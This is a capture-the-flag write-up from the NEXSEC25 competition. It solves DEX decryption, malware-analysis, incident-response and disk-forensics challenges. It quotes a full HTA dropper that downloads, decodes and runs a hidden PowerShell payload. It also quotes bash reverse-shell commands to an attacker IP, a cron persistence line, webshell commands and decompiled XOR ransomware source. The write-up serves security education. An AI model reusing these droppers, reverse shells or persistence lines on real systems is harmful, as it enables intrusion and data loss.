Output: https://github.com/TomatoTerbang/redesigned-robot/raw/refs/heads/main/KamGobing

From the output, we got a github link that had long encoded b64. After a while i downloaded the GitHub Base64 encoded and Use script and decrypt to classes.dex image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
import argparse
import base64
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def b64decode_loose(s: str) -> bytes:
    s = "".join(s.split())
    s += "=" * ((-len(s)) % 4)
    return base64.b64decode(s)

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True, help="GitHub raw URL from step 1")
    ap.add_argument("--key", required=True, help="AES key (plain text)")
    ap.add_argument("--out", default="classes.dex", help="Output dex filename")
    args = ap.parse_args()

    r = requests.get(args.url, timeout=30)
    r.raise_for_status()

    # GitHub file content is Base64 text (from your challenge)
    blob_ct = b64decode_loose(r.text)

    key = args.key.encode()
    pt = AES.new(key, AES.MODE_ECB).decrypt(blob_ct)

    # Some blobs are padded, some are not. Try unpad, fallback raw.
    try:
        pt = unpad(pt, 16)
    except ValueError:
        pass

    with open(args.out, "wb") as f:
        f.write(pt)

    print(f"[+] Wrote {args.out} ({len(pt)} bytes)")
    print("[+] Header:", pt[:8])

    if pt[:4] == b"dex\n":
        print("[+] Looks like a valid DEX")
    else:
        print("[!] Not a DEX header, check mode/key/url")

if __name__ == "__main__":
    main()

Strings the classes.dex image

Decrypt the base64 encoded strings by using the same key as well with script as well:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# Embedded key (decoded earlier from media_unlock)
KEY = b"5up453cu24k3yYo_ju57f021h4ck2024"

# Embedded encrypted blob (from strings/classes.dex)
BLOB_B64 = "@bBJNkA2kvfETMiuzUh3PYUQMstHcXPdMZNj2c20oiZwFAWuoq7ll2umX8eNUqhFj"

def decrypt_b64_aes_ecb(key: bytes, b64s: str) -> bytes:
    if b64s.startswith("@"):
        b64s = b64s[1:]
    b64s = "".join(b64s.split())
    b64s += "=" * ((-len(b64s)) % 4)

    ct = base64.b64decode(b64s)
    pt = AES.new(key, AES.MODE_ECB).decrypt(ct)

    try:
        pt = unpad(pt, 16)
    except ValueError:
        pass

    return pt

def main():
    pt = decrypt_b64_aes_ecb(KEY, BLOB_B64)
    try:
        print(pt.decode("utf-8"))
    except UnicodeDecodeError:
        print(pt)

if __name__ == "__main__":
    main()

The script execution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# Embedded key (decoded earlier from media_unlock)
KEY = b"5up453cu24k3yYo_ju57f021h4ck2024"

# Embedded encrypted blob (from strings/classes.dex)
BLOB_B64 = "@bBJNkA2kvfETMiuzUh3PYUQMstHcXPdMZNj2c20oiZwFAWuoq7ll2umX8eNUqhFj"

def decrypt_b64_aes_ecb(key: bytes, b64s: str) -> bytes:
    if b64s.startswith("@"):
        b64s = b64s[1:]
    b64s = "".join(b64s.split())
    b64s += "=" * ((-len(b64s)) % 4)

    ct = base64.b64decode(b64s)
    pt = AES.new(key, AES.MODE_ECB).decrypt(ct)

    try:
        pt = unpad(pt, 16)
    except ValueError:
        pass

    return pt

def main():
    pt = decrypt_b64_aes_ecb(KEY, BLOB_B64)
    try:
        print(pt.decode("utf-8"))
    except UnicodeDecodeError:
        print(pt)

if __name__ == "__main__":
    main()
(base) ┌─[✗]─[akmal@parrot]─[~/Desktop]
└──╼ $python3 solve.py
nexsec25{dyn4m1c_d3x_kn0w13d93_941n3d!}

Flag: nexsec25{dyn4m1c_d3x_kn0w13d93_941n3d!}

Birthday Trap

Challenge:

Your colleague Aminah received a birthday greeting email with an attached image file “happy_birthday.png”. She mentioned seeing a warning dialog when she clicked it, but she forgot what it said then her PC started acting strange. Do NOT execute or click this file!- perform static analysis only to find the flag safely. Analyze the happy_birthday.png and find the flag hidden in the malware.

Disclaimer: This malware sample was created exclusively for the NEXSEC CTF competition. The authors are not responsible for any damages caused by misuse. All analysis should only be performed in a secure, isolated environment such as a virtual machine or sandbox.

Unzipping the attachment revealed a suspicious file named Happy_Birthday.png.lnk. Static with ExifTool showed that the shortcut does not open an image but instead executes mshta.exe with a remote argument pointing to https://wonderpetak[.]github[.]io/W0nderpet4k/M[.]hta. Which confirms that the .lnk file is being used as a dropper to fetch and run malicious code from an external source.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿kali)-[~/Desktop]
└─$ exiftool Happy_Birthday.png.lnk 
ExifTool Version Number         : 13.25
File Name                       : Happy_Birthday.png.lnk
Directory                       : .
File Size                       : 1458 bytes
File Modification Date/Time     : 2025:12:11 19:29:20+08:00
File Access Date/Time           : 2025:12:15 02:11:20+08:00
File Inode Change Date/Time     : 2025:12:15 02:11:20+08:00
File Permissions                : -rw-rw-r--
File Type                       : LNK
File Type Extension             : lnk
MIME Type                       : application/octet-stream
Flags                           : IDList, LinkInfo, RelativePath, WorkingDir, CommandArgs, IconFile, Unicode, TargetMetadata
File Attributes                 : Archive
Create Date                     : 2023:12:04 10:50:07+08:00
Access Date                     : 2025:12:12 11:28:07+08:00
Modify Date                     : 2023:12:04 10:50:07+08:00
Target File Size                : 43520
Icon Index                      : 324
Run Window                      : Normal
Hot Key                         : (none)
Target File DOS Name            : mshta.exe
Drive Type                      : Fixed Disk
Drive Serial Number             : 1000-BA1A
Volume Label                    : 
Local Base Path                 : C:\Windows\System32\mshta.exe
Relative Path                   : ..\..\..\Windows\System32\mshta.exe
Working Directory               : C:\Windows\System32
Command Line Arguments          : https://wonderpetak.github.io/W0nderpet4k/M.hta
Icon File Name                  : %SystemRoot%\System32\SHELL32.dll
Machine ID                      : desktop-a6ci3ba

From the .hta, we extracted a secondary file: Content of .hta https://wonderpetak[.]github[.]io/W0nderpet4kk/wct9D39[.]jpg:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION ID="Si" 
APPLICATIONNAME="Downloader"
WINDOWSTATE="minimize"
MAXIMIZEBUTTON="no"
MINIMIZEBUTTON="no"
CAPTION="no"
SHOWINTASKBAR="no">
<script>
function XLKJSDGOODOGOGOGo(xaksldfijfijgika) {
a = new ActiveXObject("Wscript.Shell");
a.Run(xaksldfijfijgika, 0);
}
function OCKJOIFJIOGGOGOGOf(xaksldfijfijgika) {
b = new ActiveXObject("Wscript.Shell");
b.Run(xaksldfijfijgika, 0);
}
function liociaskdjlkdlakfk(xaksldfijfijgika) {
c = new ActiveXObject("Wscript.Shell");
c.Run(xaksldfijfijgika, 0);
}
function LSJDiJLKDJOGOGOGOfn(n){
var d = new ActiveXObject("WScript.Shell");
d.Run("%comspec% /c ping -n " + n + " 127.0.0.1 > nul", 0, 1);
d = null;
}
XLKJSDGOODOGOGOGo("https://archiveimage.github.io/Pictures/Happy_Birthday.jpeg");
LSJDiJLKDJOGOGOGOfn(3);
XLKJSDGOODOGOGOGo("curl https://wonderpetak.github.io/W0nderpet4kk/wct9D39.jpg -o %TEMP%\\wct9D39.jpg");
LSJDiJLKDJOGOGOGOfn(5);
OCKJOIFJIOGGOGOGOf("certutil.exe -decode %TEMP%\\wct9D39.jpg %TEMP%\\wct9D39.tmp");
LSJDiJLKDJOGOGOGOfn(3);
OCKJOIFJIOGGOGOGOf("powershell.exe -NoProfile -Command \"$xorKey=0x42; $bytes=[IO.File]::ReadAllBytes($env:TEMP+'\\wct9D39.tmp'); $decoded=@(); foreach($b in $bytes){$decoded+=$b -bxor $xorKey}; [IO.File]::WriteAllBytes($env:TEMP+'\\winp.ps1',[byte[]]$decoded)\"");
LSJDiJLKDJOGOGOGOfn(2);
OCKJOIFJIOGGOGOGOf("powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File %TEMP%\\winp.ps1");
LSJDiJLKDJOGOGOGOfn(2);
liociaskdjlkdlakfk("cmd /c del /f /q %TEMP%\\winp.ps1 %TEMP%\\wct9D39.tmp %TEMP%\\wct9D39.jpg");
</script>
</head>
<body>
</body>
</html>

The .jpg file was not an image but an encoded payload. Use Base64 to decode the file contents and apply XOR decryption with key 0x42 (from .hta)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
┌──(kali㉿kali)-[~/Desktop]
└─$ curl  https://wonderpetak.github.io/W0nderpet4kk/wct9D39.jpg
-----BEGIN CERTIFICATE-----
YWIMJzoxJyFiARYEYgEqIy4uJywlJ2JvYg8jLjUjMCdiAywjLjsxKzFIYWIDNzYq
LTB4YgMSFmIRKy83LiM2Ky0sYhYnIy9IYWIGIzYneGJwcnB3b3Nwb3NwSGFIYWIQ
BwMOYgQOAwV4YiwnOjEnIXBycHc5EnI1cTARKnEuLh0Bci8vcSw2dx0KcyZxHRFx
ITBxNjFjP0hhSGFiFQMQDAsMBXhiFiorMWIrMWIjYjErLzcuIzYnJmIvIy41IzAn
YjIjOy4tIyZiJC0wYicmNyEjNistLCMuYjI3MDItMScxSGFiCyRiOy03ZTAnYjEn                                                                                                                                           
JyssJWI2KisxYiA7Yic6JyE3NissJWI2KidiJCsuJ25iOy03ZTAnYiYtKywlYis2                                                                                                                                           
YhUQDQwFY0hhYhAnIy5iLyMuNSMwJ2IjLCMuOzE2MWIMBxQHEGInOichNzYnYjcs
KSwtNSxiJCsuJzFiJiswJyE2LjtjSGFIYWISMC0kJzExKy0sIy5iLyMuNSMwJ2Ij
LCMuOzErMWIwJzM3KzAnMXhIYWJzbGIRNiM2KyFiIywjLjsxKzFiBAsQERZiaiMs
Iy47OCdiNSs2Ki03NmInOichNzYrLCVrSGFicGxiFywmJzAxNiMsJissJWI2Kidi
IzY2IyEpYiEqIyssSGFicWxiECc0JzAxJ2InLCUrLCcnMCssJWItICQ3MSEjNicm
YiEtJidIYWJ2bGIEKywmKywlYiorJiYnLGILDQExYiMsJmInLCEwOzI2Ky0sYikn
OzFIYUhhYhYqJ2IwJyMuYiQuIyViKzFiKyxiNionYgENDw8HDBYRYiMgLTQnYm9i
IDc2YjstN2IxKi03LiZiKiM0J2IkLTcsJkhhYjYqKzFiNiowLTclKmIyMC0yJzBi
MTYjNishYiMsIy47MSsxbmIsLTZiIDtiJzonITc2KywlYjE3MTIrISstNzFiJCsu
JzFjSEgkNywhNistLGIRKi01bwQjKScPJzExIyUnYjlIYmJiYjIjMCMvahkxNjAr
LCUfZi8xJWtIYmJiYkhiYmJiYWIGKzEyLiM7YiYnIS07YiQuIyViNi1iLysxLicj
JmIzNyshKWIjLCMuOzErMUhiYmJiZiYnIS07BC4jJWJ/YmAEAwkHHQQOAwU5BnIs
Nh0INzE2HXE6cSE3NnEdFywpLHI1LB0Ecy5xMWM/YEhiYmJiSGJiYmIDJiZvFjsy
J2JvAzExJy8gLjsMIy8nYhE7MTYnL2wVKywmLTUxbAQtMC8xSGJiYmIZETsxNicv
bBUrLCYtNTFsBC0wLzFsDycxMSMlJwAtOh94eBEqLTVqSGJiYmJiYmJiYKDY4q36
zWIVAxAMCwwFYqDY4q36zSIsIiwbLTdiJzonITc2JyZiIyxiNywpLC01LGIkKy4n
YjUrNiotNzZiIywjLjs4KywlYis2YiQrMDE2YyIsIiwLLGIwJyMuYjEhJywjMCst
MW5iNiorMWIhLTcuJmIgJ2IjITY3Iy5iLyMuNSMwJ2MiLCIsBCMpJ2IELiMleGJm
JichLTsELiMlIiwiLA4nMTEtLHhiAy41IzsxYjInMCQtMC9iERYDFgsBYgMMAw4b
EQsRYiAnJC0wJ2InOichNzYrLSxjIiwiLAorLDZ4YgMsIy47OCdiNionYicsNisw
J2IjNjYjISliISojKyxiNi1iJCssJmI2KidiMCcjLmIkLiMlbGBuSGJiYmJiYmJi
YBEnITcwKzY7YhUjMCwrLCVib2IMJzoxJyFiARYEYG5IYmJiYmJiYmIZETsxNicv
bBUrLCYtNTFsBC0wLzFsDycxMSMlJwAtOgA3NjYtLDEfeHgNCW5IYmJiYmJiYmIZ
ETsxNicvbBUrLCYtNTFsBC0wLzFsDycxMSMlJwAtOgshLSwfeHgVIzAsKywlSGJi
YmJrSD9ISGFiDyMrLGInOichNzYrLSxINjA7YjlIYmJiYhEqLTVvBCMpJw8nMTEj
JSdiby8xJWJgBzonITc2JyZgSGJiYmJIYmJiYmFiCyxiI2IwJyMuYiM2NiMhKW5i
NiorMWIrMWI1KicwJ2IvIy4rISstNzFiIS0mJ2I1LTcuJmIwNyxIYmJiYmFiBC0w
YjYqKzFiARYEbmI1J2IoNzE2YjEqLTViI2I1IzAsKywlYi8nMTEjJSdIYmJiYkg/
YiEjNiEqYjlIYmJiYhUwKzYnbwotMTZiYAcwMC0weGJmamYdbAc6IScyNistLGwP
JzExIyUna2BibwQtMCclMC03LCYBLS4tMGIQJyZIP0hIYWIHJjchIzYrLSwjLmIs
LTYneEhhYhYqJ2IwJyMuYiQuIyViNSMxYissYjYqJ2IhLS8vJyw2MWIjNmI2Kidi
Ni0yYi0kYjYqKzFiJCsuJ2xIYWIbLTdiMSotNy4mYiojNCdiLSA2IyssJyZiNior
MWI2KjAtNyUqYjE2IzYrIWIjLCMuOzErMXhIYWJzbGIDLCMuOzgnYjYqJ2IrLCs2
KyMuYiQrLidiaiYtLGU2Yic6JyE3Nidja0hhYnBsYhcsJicwMTYjLCZiKi01YiQr
LicxYiMwJ2ImLTUsLi0jJicmYiMsJmImJyEtJicmSGFicWxiBzo2MCMhNmIjLCZi
JichLSYnYjYqJ2IhJzA2KyQrISM2J0hhYnZsYgYnLSAkNzEhIzYnbSYnITA7MjZi
Ni1iJSc2YjYqKzFiMSEwKzI2SGFid2xiECcjJmI2KidiMS03MCEnYiEtJidiajYq
J2IhLS8vJyw2MWNrYjYtYiQrLCZiNionYiQuIyVIYUhhYhAnLycvICcweGIMBxQH
EGInOichNzYnYjE3MTIrISstNzFiJCsuJzFiNSs2Ki03NmIyMC0yJzBiIywjLjsx
KzFjSA==
-----END CERTIFICATE-----

image

Flag: nexsec2025{P0w3rSh3ll_C0mm3nt5_H1d3_S3cr3ts!}

Incident Response

Here’s the Dump #1

Challenge:

You receive an encrypted disk dump from a client in rural Transylvania, where a series of unexplained system outages have been spreading through the region like an unseen contagion. The client reports that their workstation became “strangely alive” before crashing—screens flickering, unauthorized processes appearing only to vanish seconds later.

One of the victim had downloaded suspicious file. Due to not leave any traces, the file is deleted but we as analyst should never give up! Try find the hash of the file! Good luck! (SHA1)

Download: https://drive.google.com/file/d/1vINYXwHBGCVzsJ6bmqmmSqcKrtzrObDS/view?usp=sharing

From the drive, we were given zip file containing $DH, $DS, $SII, Windows.Triage.SDS.json files, C and Windows.KapeFiles.Targets folder.

image

Opened the folder content with FTK Imager. The goal is to prove the Windows artifacts exist and then extract the exact artifact that contains the hash (most likely Amcache.hve).

image

Export the Amcache.hve so we can review further by using Registry Explorer. During discovery with amcache.hve, we find a.exe which look suspicious (no publisher, version, product name, deleted, was inside download folder)

image

In Amcache, that FileId is the SHA1 (with a 0000 prefix). the SHA1: a86dfbc01e9f834ed18b3e7bfc183d1381a5aac4

Flag: NEXSEC25{a86dfbc01e9f834ed18b3e7bfc183d1381a5aac4}

Here’s the Dump #2

Challenge:

Local rumors speak of a shadowy outbreak affecting networks across several small towns, always beginning at night, always leaving behind the same digital residue: a corrupted disk and a user who swears they heard faint whispers from their speakers before the system went dark.

Your task as the digital forensic analyst: Dissect the disk image, trace the origin of this outbreak, and uncover whatever breached the system—before it spreads further.

Where was the RAT file downloaded from?

Flag format: NEXSEC25{http://xx.xx/x/x.ext}

Analyze Windows PowerShell.evtx to find anything. find encoded Base64 string on event 400. Event id 400: Logs when the PowerShell engine starts, changing state from “none” to “available,” capturing script execution for monitoring, often seen with IDs 4104, 400, 800 for command tracking.

image

Decode it

image

And from here we find:

  • Download from http[:]//osdsoft[.]com/download/updater[.]exe DownloadFile('http[:]//osdsoft[.]com/download/updater[.]exe','a.exe')

  • Executes it shellexecute('a.exe')

  • Hides it (get-item 'a.exe').Attributes += 'Hidden'

This should be where it come from

Flag: NEXSEC25{http://osdsoft.com/download/updater.exe}

Challenge:

TechHire Solutions prided themselves on finding the perfect candidates. But someone applied for more than just a job. They received a job application that wasn’t what it seemed. The attacker left but not without leaving breadcrumbs behind. You’ve been called in as an incident responder. The web logs are waiting. Follow the trail!

Among thousands of legitimate visitors, one IP address stands out as suspicious. What is the attacker’s IP address? Flag format : nexsec25{ip}

I finalized this IP as the attacker due to actions of this IP during observation i find for Breadcrumbs #2 - Breadcrumbs #3. Webshell, Rev connection? It’s totally confirmed!

Flag: nexsec25{192.168.21.102}

Challenge:

The attacker uploaded a malicious file. What is the full filename? Flag format : nexsec25{file.py}

The log snippet prove resume_aiman.pdf.php being used as a web shell due to cmd (malicious file). General question, Why does resume required .php, query string operator and a parameter? So fishy!!

1
192.168.21.102 - - [13/Dec/2025:02:16:10 +0800] "GET /uploads/resume_aiman.pdf.php?cmd=whoami HTTP/1.1" 200 224 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

Flag: nexsec25{resume_aiman.pdf.php}

Challenge:

What was the timestamp when the attacker uploaded the malicious file? Flag format: nexsec25{12/Dec/2012:12:12:12 +0800}

Normally, we expect to see POST requests before the first time a malicious file is used. In this incident, however, host 192.168.21.102 did not generate any prior POST requests related to the web shell before it interacted with. The log shows only a single relevant POST request.

1
192.168.21.102 - - [13/Dec/2025:02:13:37 +0800] "POST /submit.php HTTP/1.1" 200 1218 "http://192.168.8.36/submit.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

The attacker uploaded the malicious file at the following timestamp [13/Dec/2025:02:13:37 +0800]

Flag: nexsec25{13/Dec/2025:02:13:37 +0800}

Challenge:

The attacker executed multiple commands through the webshell. What was the first command? Flag format : nexsec25{pwd}

The first command executed right after the file uploaded.

1
192.168.21.102 - - [13/Dec/2025:02:16:10 +0800] "GET /uploads/resume_aiman.pdf.php?cmd=whoami HTTP/1.1" 200 224 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

Flag: nexsec25{whoami}

Challenge:

From the webshell commands, the attacker was preparing for the next stage of the attack. What IP address and port was the attacker planning to connect back to? Flag format : nexsec25{ip:port}

The attacker first attempted to check which binaries were available on the compromised system: which python3 php nc bash curl wget In the next action, the attacker used bash to initiate a reverse connection back to their own machine: bash -c 'bash -i >& /dev/tcp/172.16.23.13/4444 0>&1'

1
2
3
192.168.21.102 - - [13/Dec/2025:02:19:56 +0800] "GET /uploads/resume_aiman.pdf.php?cmd=which%20python3%20php%20nc%20bash%20curl%20wget HTTP/1.1" 200 323 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

192.168.21.102 - - [13/Dec/2025:02:23:09 +0800] "GET /uploads/resume_aiman.pdf.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.23.13%2F4444%200%3E%261%27 HTTP/1.1" 200 215 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"

The attacker was preparing a reverse shell connection to: 172.16.23.13:4444

Flag: nexsec25{172.16.23.13:4444}

Challenge:

Following the webshell upload, the attacker established a reverse shell connection. Analyze the captured traffic to uncover their activities on the compromised system. What is the first full command the attacker executed after gaining the reverse shell connection? Note : This PCAP file will be used for all remaining Breadcrumbs questions. Flag format : nexsec25{flag}

After the webshell upload, the attacker established a reverse shell connection. We need to analyze the captured traffic in the provided .pcap file to determine the first full command executed once the attacker gained shell access.

image

The first full command executed by the attacker after gaining the reverse shell is revealed in Stream 17 of the .pcap.

image

Flag: nexsec25{cat /etc/os-release}

Challenge:

Under which user context was the attacker operating after gaining the reverse shell? Flag format : nexsec25{flag}

From Breadcrumbs #6 the output shows that the shell was running under the www-data user. This is expected since the reverse shell was spawned through a PHP webshell, which typically runs under the web server’s default user account

Flag: nexsec25{www-data}

Challenge:

In which directory was the attacker initially located when the reverse shell connected? Flag format : nexsec25{flag}

Flag: nexsec25{/var/www/html/uploads}

Challenge:

The attacker attempted to read a file containing password hashes but was denied. What file was this? (include path)

From screenshot provided, we find that the user tried to read the content of /etc/shadow by using cat binary.

image

Flag: nexsec25{/etc/shadow}

Challenge:

What command did the attacker use to search for SUID binaries on the system?

They ran the following command to list all files with the SUID:

image

1
find / -perm -4000 -type f 2>/dev/null

Flag: nexsec25{find / -perm -4000 -type f 2>/dev/null}

Challenge:

The attacker established persistence. What is the full command used?

The attacker checked for existing cron jobs with crontab -l. Since no crontab was set for www-data, they added a new entry. The cron job runs every minute and spawns a reverse shell back to the attacker’s IP and port.

image

Flag: nexsec25{(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/172.16.23.13/4444 0>&1'") | crontab -}

Challenge:

What command did the attacker use to list active network connections and listening ports in the second reverse shell session?

Challenge required the second reverse shell session which from another tcp stream. And we find stream 23 as the new attacker session.

image

Command use to list active network: ss -tulpn

Flag: nexsec25{ss -tulpn}

Challenge:

What user’s home directory that the attacker tried to access?

The attacker first lists down what users from home directory and try to list all the folder and files in its home directory however get denied

image

Flag: NEXSEC25{sysadmin}

Security Incident

Challenge:

A critical security alert was triggered on one of the company’s servers. Forensic analysts collected event logs and system artifacts, but the initial reports are incomplete.

Examine the provided logs and determine when an unauthorized user successfully gained access to the system and identify the compromised account. Provide the username, timestamp in GMT+8 and replace spaces with underscores.

FLAG FORMAT: nexsec25{MM/DD/YYYY_HH:MM:SSAM/PM_USERNAME}

This one, actually I used kape and convert the .evtx to csv. But idk why, the log order is incorrect. I do sanity check with chall creator. And he said, do it the old ways. So keep in mind. From past minutes spending to solve this question, I have noticed, 100.96.0.32 is the only remote ip trying to access the machine, that consistently bruteforcing the machine. And as I said, from the log we noticed two bruteforced that give 4624 in return is around 12:35 and 12:38 if im not mistaken.

So here’s the event log viewer screnshots I have:

image

Flag: nexsec25{12/13/2025_12:35:23PM_webadmin}

Digital Forensics

OhMyFiles (Initial Discovery)

Overview:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Read the file incident_summary.txt to understand the context of this case. A forensic disk image of the user’s workstation has been provided. As a forensic analyst, your first step is to verify the integrity of the evidence.

//incident_summary.txt
====================================================
              INCIDENT SUMMARY REPORT
====================================================

User: En. Fakhri  
Reported Issue: Encrypted and unreadable work document

----------------------------------------------------
                DESCRIPTION OF EVENT
----------------------------------------------------
En. Fakhri contacted the IT Security team with an urgent issue.  
He was preparing to send an important document named:

    BigClient_Proposal_2025.docx

However, he discovered that the file had been encrypted and was no longer readable.

----------------------------------------------------
                 USER ACTIVITIES
----------------------------------------------------
Before the incident occurred, Fakhri reported that he:

1. Downloaded a compressed archive (.rar file) earlier that day.
2. The archive contained a resume template.
3. He extracted the contents.
4. He then deleted the .rar file after extraction.

----------------------------------------------------
             FORENSIC ACTION TAKEN
----------------------------------------------------
The IT Security team created a forensic image of Fakhri’s workstation  
for detailed investigation and recovery of encrypted files.

Disk Image: 
https://drive.google.com/file/d/10lWQikC5PVNoKDDi_aav1WqK0BGYNqRJ/view?usp=sharing

----------------------------------------------------
                    END OF FILE
====================================================

OhMyFiles #1

Challenge:

Calculate the SHA256 of the disk image (.E01) and provide it as your answer. Flag Format: nexsec25{hashvalue}

After extracted the zip from drive. We find .E01 (disk image) and also .E01.txt (post-acquisition information details).

image

We first calculate the md5 hash to make sure we had the exact disk image.

image

Flag: nexsec25{c8f31718462337b4cc8218c2ca301ca9ca6122cca71c708757f38788533ca076}

OhMyFiles #2

Challenge:

What file extension does the ransomware add to encrypted files? Example: nexsec25{.pdf}

View the disk with (FTK Imager/Autopsy) or any forensic tools. Then we find multiple files with .lock inside “Basic data partition/[root]/Users/Fakhri/Documents”

image

Flag: NEXSEC25{.lock}

OhMyFiles #3

Challenge:

What is the SHA‑256 hash of the deleted archive file?

  1. Open the FAKHRIWORKSTATION_20251211.E01 in FTK imager
  2. In incident_summary.txt, we figure that an archive file was deleted
  3. So, we go look inside Recycle.bin, saw the file $R9XXEK.rar and confirm it because we saw the contain of the archive is a resume template (Resume_Template.docx), now extract the archive file out of FTK imager

image

image

  1. Now compute the hash

image

Flag: NEXSEC25{CFAA2CE425E2F472618323DCBCEB2E3FC013100919A8DBF545BF15B4C45DAE8F}

OhMyFiles #4

Challenge:

Identify the most recent CVE that was exploited to deliver the ransomware payload. Example: nexsec25{CVE-XXXX-XXXX}

From last question, we figured this could be exploitable due to an insecure version of Winrar. We can confirm those by finding the downloaded winrar version located at “Basic data partition/[root]/Program Files/WinRar/Rar.txt”

Then simply look for the known CVE with this WinRar version.

image

We find this is CVE-2025-8088 could be the exploited CVE by an attacker for this incident. Another easier way is by visiting this VT analysis and we will find the cve-2025-8088 as the tag

Flag: nexsec25{CVE-2025-8088}

OhMyFiles #5

Challenge:

What is the MITRE ATT&CK technique ID that matches the persistence mechanism observed in this scenario?

From VT Relations we find that, this winrar will drop a startup .lnk file. This technique ID is

image

We can refer Mitre Framework for that.

image

Flag: NEXSEC25{T1547.001}

OhMyFiles #6

Challenge:

What is the full file path where the ransomware was dropped on the system?

Inside the startup lnk we can find the path of where the ransomware was dropped on the system

image

Flag: NEXSEC25{C:\Users\Fakhri\AppData\Local\svchost.exe}

OhMyFiles #7

Challenge:

What cipher algorithm is used to ransom the file?

From the .exe here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: svchost.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import os
import sys
import hashlib
import winreg
from pathlib import Path
from datetime import datetime

def get_file_year(fp):
    try:
        return datetime.fromtimestamp(os.stat(fp).st_ctime).year
    except:
        return 2025

def gen_key(fp):
    try:
        with open(fp, 'rb') as f:
            data = f.read()
                md5 = hashlib.md5(data).hexdigest()
                year = get_file_year(fp)
                return f'{md5}{year}'
    except:
        pass  # postinserted
    return None

def xor_encrypt(data, key):
    kb = key.encode('utf-8')
    return bytes([b ^ kb[i % len(kb)] for i, b in enumerate(data)])

def save_registry(path, name, val):
    try:
        k = winreg.CreateKeyEx(winreg.HKEY_CURRENT_USER, path, 0, winreg.KEY_WRITE)
        winreg.SetValueEx(k, name, 0, winreg.REG_SZ, val)
        winreg.CloseKey(k)
    except:
        return None

def encrypt_file(fp):
    try:
        key = gen_key(fp)
        if not key:
            pass  # postinserted
        return False
    except:
        return False

def main():
    docs = Path(os.path.expandvars('%USERPROFILE%\\Documents'))
    extensions = ['.txt', '.doc', '.docx', '.pdf']
    count = 0
    for ext in extensions:
        for fp in docs.glob(ext):
            if 'DECRYPT' not in fp.name.upper() and 'RANSOM' not in fp.name.upper() and encrypt_file(str(fp)):
                pass  # postinserted
            else:  # inserted
                count += 1
    save_registry('Software\\ShadowCrypt\\Info', 'Encrypted', str(count))
    save_registry('Software\\ShadowCrypt\\Info', 'Method', 'XOR_MD5_YEAR')
    save_registry('Software\\ShadowCrypt\\Info', 'Timestamp', datetime.now().isoformat())
    note = '\n\n========================================================================\n                    SHADOWCRYPT RANSOMWARE\n========================================================================\n\nYOUR FILES HAVE BEEN ENCRYPTED!\n\nAll your important documents are now locked with .lock extension.\nWithout our decryption key, recovery is IMPOSSIBLE.\n\n------------------------------------------------------------------------\nWHAT HAPPENED?\n------------------------------------------------------------------------\nLocation: Documents folder\nFile Extension: .lock\n\n------------------------------------------------------------------------\nWARNING - TIME SENSITIVE!\n------------------------------------------------------------------------\nYou have 72 HOURS to pay before your decryption key is deleted forever.\n\nPrice increases every 24 hours:\n  0-24 hours:  0.5 BTC\n  24-48 hours: 0.6 BTC  \n  48-72 hours: 0.7 BTC\n  After 72h:   FILES LOST PERMANENTLY\n\n========================================================================\n                SHADOWCRYPT TEAM - Since 2019\n           \"Your files. Our encryption. Your choice.\"\n========================================================================\n\nNOTE: This is a CTF challenge for educational purposes only.\n========================================================================\n\n'
    try:
        (docs / '!!! DECRYPT_YOUR_FILES !!!.txt').write_text(note, encoding='utf-8')
    except:
        return None
if _name_ == '_main_':
    main()

Flag: NEXSEC25{XOR}

OhMyFiles #8

Challenge:

Where are the encryption keys stored?

Do lookup for the ransomware hash through VT Relation

image

Flag: nexsec25{HKEY_CURRENT_USER\SOFTWARE\ShadowCrypt\Keys}

OhMyFiles #9

